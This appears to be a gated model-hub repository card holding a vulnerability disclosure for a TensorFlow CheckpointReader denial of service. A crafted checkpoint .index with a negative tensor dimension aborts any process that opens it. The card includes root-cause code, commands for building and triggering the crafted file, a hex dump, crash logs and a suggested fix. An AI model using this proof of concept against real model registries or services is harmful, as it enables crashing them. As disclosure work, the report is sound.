You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

Reachable CHECK-failure abort (SIGABRT DoS) in TensorFlow CheckpointReader::BuildV2VarMaps via negative tensor dimension in a crafted checkpoint .index

Target: TensorFlow (tensorflow pip package) Version tested: 2.21.0 (v2.21.0-rc1-5-ga481b10260d) Component: tensorflow/cc/saved_model / core checkpoint reader β€” tensorflow::checkpoint::CheckpointReader Impact: Denial of Service (whole-process abort() / SIGABRT) triggered at checkpoint open time Attack vector: A malicious model checkpoint (.index file) supplied to any tool that opens/inspects it Signal: exit 134 (128 + SIGABRT), Check failed: size >= 0

This report is a PoC for a real, reproduced crash. It is intentionally private/gated because it contains a working malicious-file generator.


Summary

tensorflow::checkpoint::CheckpointReader's constructor calls BuildV2VarMaps(), which iterates over every BundleEntryProto recorded in a checkpoint's .index (the tensor_bundle metadata sstable) and constructs a fully-defined tensorflow::TensorShape directly from each entry's attacker-controlled shape proto.

TensorShapeBase<TensorShape>::AddDim() enforces the non-negative-dimension invariant with a fatal CHECK, not an error Status:

tensor_shape.cc:416:  CHECK_GE(size, 0);   // -> LOG(FATAL) "Check failed: size >= 0" -> abort()

Because the .index shape proto is untrusted metadata, a single BundleEntryProto whose shape.dim[i].size is negative (e.g. -1) makes AddDim invoke LOG(FATAL) and abort() the entire process.

Crucially, the crash happens while merely opening / listing the checkpoint β€” inside the CheckpointReader constructor β€” before any tensor is read. No get_tensor() / RestoreV2 call is required. Any tool that opens or lists an attacker-supplied checkpoint is affected:

  • tf.train.load_checkpoint(prefix)
  • tf.train.NewCheckpointReader(prefix)
  • tf.train.list_variables(prefix)
  • inspect_checkpoint / TensorBoard-style checkpoint inspectors

Root cause

The constructor immediately builds the variable maps:

// tensorflow/cc/saved_model/../util/checkpoint_reader.cc
CheckpointReader::CheckpointReader(const string& filename, TF_Status* status)
    : reader_(nullptr), ... {
  reader_ = new BundleReader(Env::Default(), filename);
  ...
  if (status_ok) {
    BuildV2VarMaps();   // <-- runs at construction / open time
  }
}

BuildV2VarMaps() walks every bundle entry and constructs a TensorShape from the proto shape:

void CheckpointReader::BuildV2VarMaps() {
  ...
  for (v2_reader_->Seek(kHeaderEntryKey), v2_reader_->Next();
       v2_reader_->Valid(); v2_reader_->Next()) {
    BundleEntryProto entry;
    entry.ParseFromArray(...);                 // untrusted metadata
    ...
    TensorShape shape(entry.shape());          // <-- CHECK-fails on negative dim
    ...
  }
}

TensorShape(const TensorShapeProto&) calls AddDim() for each dim; AddDim hard-asserts:

// tensorflow/core/framework/tensor_shape.cc:416
CHECK_GE(size, 0) << "...";   // fatal, non-recoverable

There is no Status-returning validation of the proto shape before this point, so malformed metadata aborts the process instead of surfacing an InvalidArgument error.


Proof of Concept

The PoC reuses the workspace's leveldb / tsl::table sstable builder to emit only a 143-byte model.ckpt.index (no data shard). The .index contains:

  1. the required header entry (BundleHeaderProto, num_shards=1), and
  2. one BundleEntryProto with dtype = DT_FLOAT and a 1-D shape whose single dim.size = -1.

Files (in this repo):

  • ckpt_lib.py β€” sstable / tensor_bundle .index builder (crc32c-masked blocks, footer, header + entry).
  • build_poc.py β€” writes the malicious .index (negative dim, no shard).
  • trigger_open.py β€” opens the checkpoint with tf.train.load_checkpoint(prefix) only.
  • crash_evidence.log β€” captured run output (verbatim, below).

Build + trigger

python build_poc.py /tmp/neg_ckpt/model.ckpt
# wrote /tmp/neg_ckpt/model.ckpt.index (143 bytes), no data shard

python trigger_open.py /tmp/neg_ckpt/model.ckpt   # aborts
echo $?   # 134

The crafted .index (143 bytes) β€” note the little-endian 0x...ff two's-complement -1 dim size in the serialized BundleEntryProto:

00000000: 0000 0608 011a 0208 0100 0611 706f 6973  ............pois
00000010: 6f6e 0801 120d 120b 08ff ffff ffff ffff  on..............
00000020: ffff 0100 0000 0001 ...

Captured evidence (verbatim)

TensorFlow 2.21.0 β€” calling tf.train.load_checkpoint(prefix) only (no get_tensor):

tf 2.21.0 -- calling tf.train.load_checkpoint(prefix) ONLY
F0000 00:00:1784087166.593021 1194615 tensor_shape.cc:416] Check failed: size >= 0 (-1 vs. 0)
*** Check failure stack trace: ***
    @     0x7fe0c10ce564  absl::lts_20250814::log_internal::LogMessage::SendToLog()
    @     0x7fe0c10ce4e6  absl::lts_20250814::log_internal::LogMessage::Flush()
    @     0x7fe0c0cff5a8  tensorflow::TensorShapeBase<>::AddDim()
    @     0x7fe0c0cff4e0  tensorflow::TensorShapeBase<>::TensorShapeBase()
    @     0x7fe0b873a8a6  tensorflow::checkpoint::CheckpointReader::BuildV2VarMaps[abi:cxx11]()
    @     0x7fe0b873a11d  tensorflow::checkpoint::CheckpointReader::CheckpointReader()
    @     0x7fe08b7727d6  pybind11::detail::argument_loader<>::call<>()
    @     0x7fe08b77270c  pybind11::cpp_function::initialize<>()::{lambda()#1}::__invoke()
    @     0x7fe08b765dc9  pybind11::cpp_function::dispatcher()
    @           0x595d1c  (unknown)
Fatal Python error: Aborted

EXIT=134 (134 = 128+SIGABRT)

Negative control (proves the container is well-formed)

The identical builder with a positive dim [2] opens cleanly β€” dtype map and list_variables both succeed β€” proving the sstable container is valid and the abort is caused specifically by the negative dimension, not by a malformed file:

--- NEGATIVE CONTROL (positive dim [2]) ---
OPEN OK. dtype map: {'goodvar': tf.float32}
list_variables: [('goodvar', [2])]

Impact

Any application, service, or CI pipeline that opens or lists an untrusted TensorFlow checkpoint β€” model registries, conversion/inspection tools, serving frameworks that inspect checkpoints, inspect_checkpoint, notebooks that call tf.train.list_variables on user-provided artifacts β€” can be crashed with a 143-byte file. Because the abort is at open time, no tensor-restore step is needed, widening the reachable surface to any read-only inspection path. The result is a reliable, non-recoverable process termination (Denial of Service).


Suggested fix

Validate the BundleEntryProto shape proto with a Status-returning path before constructing a TensorShape (e.g. use TensorShape::BuildTensorShape(proto, &shape) / PartialTensorShape validation, or explicitly reject negative dims), so BuildV2VarMaps returns errors::InvalidArgument(...) instead of hitting the fatal CHECK in AddDim.


Deduplication note

  • Distinct from the previously packaged TensorFlow tensor-bundle bug (tf-tensor-bundle-nullderef-poc): that one is a SIGSEGV NULL-dereference requiring a get_tensor() call on a DT_STRING key with an oversized positive shape, crashing in Helper<tstring>::TotalBytes during GetValue. This report is a SIGABRT CHECK-failure on a negative dim of any dtype, crashing earlier in TensorShapeBase::AddDim during BuildV2VarMaps at construction/open time.
    • Different signal: 134 (SIGABRT) vs 139 (SIGSEGV)
    • Different function: TensorShapeBase::AddDim vs Helper<tstring>::TotalBytes
    • Different code path / reachability: open-only (load_checkpoint) vs get_tensor()-required
    • Different fix site: shape-proto validation vs allocation null-check
  • The CHECK-based enforcement in AddDim is a general defensive-coding gap when fed untrusted proto metadata; this report demonstrates a concrete, minimal, reachable trigger through the public CheckpointReader open path.
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support